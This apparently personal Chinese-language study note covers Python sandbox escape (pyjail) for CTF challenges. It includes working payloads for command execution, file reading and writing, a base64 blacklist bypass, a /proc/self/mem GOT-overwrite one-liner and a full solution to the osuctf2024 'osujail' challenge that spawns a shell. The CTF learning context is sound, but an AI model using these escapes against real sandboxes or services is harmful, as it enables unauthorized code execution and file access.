基础

之前只在web或者misc看到过pyjail的题目,后来在某次比赛中发现了pwn中也有这类的题目,但当时也没空出时间去研究

一直拖到现在,打算稍微了解一下

后记:

mmp,真玩不来这玩应

导入模块

1
2
3
4
5
6
7
8
os.system() 
os.popen()
commands.getstatusoutput()
commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)
pty.spawn()

在 Python 中导入模块的方法通常有三种(xxx 为模块名称):

1
2
3
4
5
import xxx

from xxx import *

__import__('xxx')

import是 Python 中的一个关键字,用于在代码中静态地导入一个模块。

_import_ 是 Python 中的一个内置函数,用于动态地导入模块。它允许在运行时根据需要导入模块,而不是在代码的顶部或其他静态位置

我们可以通过上述的导入方法,导入相关模块并使用上述的函数实现命令执行。 除此之外,我们也可以通过路径引入模块: 如在 linux 系统中 Python 的 os 模块的路径一般都是在 /usr/lib/python2.7/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。

1
2
3
4
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>

其他的危险函数举例

execfile 文件执行

1
2
3
4
5
6
7
8
9
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

貌似只适用于python2

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

timeit 模块是 Python 中用于测试代码执行时间的工具。它允许你在代码中精确地测量执行时间,以便比较不同实现的性能或者优化代码。

execeval 比较经典了

1
2
eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')

platform

1
2
import platform
print platform.popen('dir').read()

platform 模块是 Python 中的一个标准库,提供了用于获取平台信息的函数。它允许你在运行 Python 脚本的计算机上查询操作系统、硬件架构和 Python 解释器的相关信息。

貌似也仅限于python2


但是,正常的 Python 沙箱会以黑名单的形式禁止使用一些模块如 os 或以白名单的形式只允许用户使用沙箱提供的模块,用以阻止用户的危险操作。而如何进一步逃逸沙箱就是我们的重点研究内容。

内建函数

当我们不能导入模块,或者想要导入的模块被禁,那么我们只能寻求 Python 本身内置函数(即通常不用人为导入,Python 本身默认已经导入的函数)。我们可以通过可以通过 dir __builtin__ 来获取内置函数列表

python2

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

python3

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

在 Python 中,不引入直接使用的内置函数被成为 builtin 函数,随着 builtin 这个模块自动引入到环境中。

那么我们如何引入的模块呢?我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组 / 类 / 对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的, 可以找到隐藏在其中的一些东西 dict 能做什么呢?

我们知道,一个模块对象有一个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找,例如,m.x 等同于 m.dict["x"]

绕过实例: 首先通过 base64 绕过字符明文检测

1
2
3
4
5
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='

然后通过 dict 引用

1
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

如果一些 内敛函数在 builtins 删除 ,我们可以通过 reload(builtins) 重新载入获取一个完整的 builtins

创建对象以及引用

Python 的 object 类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用。

我们有常见的两个方法:

1
2
().__class__.__bases__[0]
''.__class__.__mro__[2]

如,我们可通过 print(().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read())达到文件读取的效果,

常见 payload

1
2
3
4
5
6
7
8
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

间接引用

在有些题目中import 其实整个是被阉割了。但是在 Python 中,原生的 import 是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容

write 修改 got 表

实际上是一个 /proc/self/mem 的内存操作方法

/proc/self/mem 是内存镜像,能够通过它来无视权限读写到进程的所有内存,包括可执行代码,如果我们能获取到 Python 一些函数的偏移,如 system ,我们便可以通过覆写 got 表达到 getshell 的目的。

1
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个地址是 system 的偏移,第二个是 fopen 的偏移,我们可以通过 objdump 获取相关信息

例题

osuctf2024-osujail

这道pyjail题目放在了pwn分类下

pyjail on python 3.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
backup_len = len
backup_eval = eval
backup_print = print
backup_input = input
backup_all = all
backup_ord = ord

def rescued_osu(input):
return input.count('o') == 1 and input.count('s') == 1 and input.count('u') == 1

def caught_by_guards(input):
return '[' in input or ']' in input or '{' in input or '}' in input or not backup_all(0 <= backup_ord(c) <= 255 for c in input)

globals()['__builtins__'].__dict__.clear()

input = backup_input()
if caught_by_guards(input) or not rescued_osu(input):
backup_print('[You failed to break the jail]')
else:
backup_print(backup_eval(input,{},{}))

gpt给出的解释

  1. 首先,它保存了几个内置函数和内置变量的引用,以备份它们,以便稍后可以使用。
    • backup_len = len:备份了内置函数 len 的引用。
    • backup_eval = eval:备份了内置函数 eval 的引用。
    • backup_print = print:备份了内置函数 print 的引用。
    • backup_input = input:备份了内置函数 input 的引用。
    • backup_all = all:备份了内置函数 all 的引用。
    • backup_ord = ord:备份了内置函数 ord 的引用。
  2. 定义了两个函数:
    • rescued_osu(input):检查输入中是否恰好包含一个’o’、一个’s’和一个’u’字符。
    • caught_by_guards(input):检查输入中是否包含一些特殊字符 ‘[‘、’]’、’{‘、’}’,或者包含了超出 ASCII 范围的字符。
  3. 清空了全局命名空间中的 __builtins__,这会移除内置函数和变量。这个操作可能是为了防止在代码中直接使用内置函数。
  4. 将用户输入的内容存储在 input 变量中,此时 input 已经不再是内置函数了,而是之前备份的内置函数 input 的引用。
  5. 执行一系列检查:
    • 如果用户输入的内容被 caught_by_guards 函数捕获,或者不满足 rescued_osu 函数的条件,则打印 “[You failed to break the jail]”。
    • 否则,执行 eval(input, {}, {}),这里 eval 是之前备份的内置函数,用于执行用户输入的代码,并打印结果。

一个大佬的解是

1
(g:=().__init__().__new__.__self__.__getattribute__,d:=().__doc__,O:=d.__getitem__(34),S:=d.__getitem__(19),U:=d.__getitem__(1),x:=g(g((),"__cla"+S+S+"__"),"__ba"+S+"e__"),i:=g(x,"__"+S+U+"bcla"+S+S+"e"+S+"__")().__getitem__(-4).__init__,g(i,"__gl"+O+"bal"+S+"__").__getitem__(S+"y"+S+"tem")(S+"h"))

其使用了海象运算符

  1. __getattribute__方法赋值给g

  2. ().__doc__属性赋值给d

    1
    2
    >>> ().__doc__
    "Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object."
  3. O,S,U分别为d中提取出来的单个对应字符osu

  4. x为().__class__.__base__
  5. i为x.__subclasses__().__getitem__(-4).__init__
  6. 最终i.__globals__.__getitem__(S+"y"+S+"tem")(S+"h"))

说实话一脸懵逼

gpt对这些内建属性给出的一些解释

  1. __globals__ 是 Python 中函数对象的一个特殊属性,它指向了该函数所在模块的全局命名空间(全局作用域)。这个属性存储了函数定义时的全局命名空间,即函数定义所在的模块的命名空间。
  2. __getitem__ 是 Python 对象的一个特殊方法用于定义对象的索引操作。当你通过中括号 [] 来访问对象的元素时,Python 解释器会调用该对象的 __getitem__ 方法来实现索引操作。
  3. __getattribute__ 是 Python 中对象的一个特殊方法用于控制对对象属性的访问。当你使用点号(.)语法来访问对象的属性时,Python 解释器会调用该对象的 __getattribute__ 方法来实现属性的获取操作
  4. __init__ 是 Python 中对象的一个特殊方法用于对象的初始化。当你创建一个对象时,Python 解释器会自动调用该对象的 __init__ 方法来执行初始化操作。在这个方法中,你可以对对象的属性进行初始化,也可以执行一些其他的初始化操作。返回值是该对象
  5. __new__ 是 Python 中对象的一个特殊方法用于创建对象的实例。与 __init__ 方法不同,__new__ 方法是在对象实例化之前被调用的,用于创建对象的实例,并返回该实例。
  6. 在 Python 中,__self__ 是用于表示绑定方法(bound method)的一个特殊属性。绑定方法是指类的方法(函数),在实例化对象后被调用时,会自动将该对象作为第一个参数(通常命名为 self)传递给方法。这种自动传递实例化对象的行为,就是通过 __self__ 属性实现的。其返回前一个方法的调用者
  7. __doc__ 是 Python 中对象的一个特殊属性(双下划线方法),用于存储对象的文档字符串(docstring)。文档字符串是在对象的定义中使用三重引号 """ 或单引号 ''' 所包围的字符串,用于提供有关对象的描述和文档。

好吧还是一脸懵逼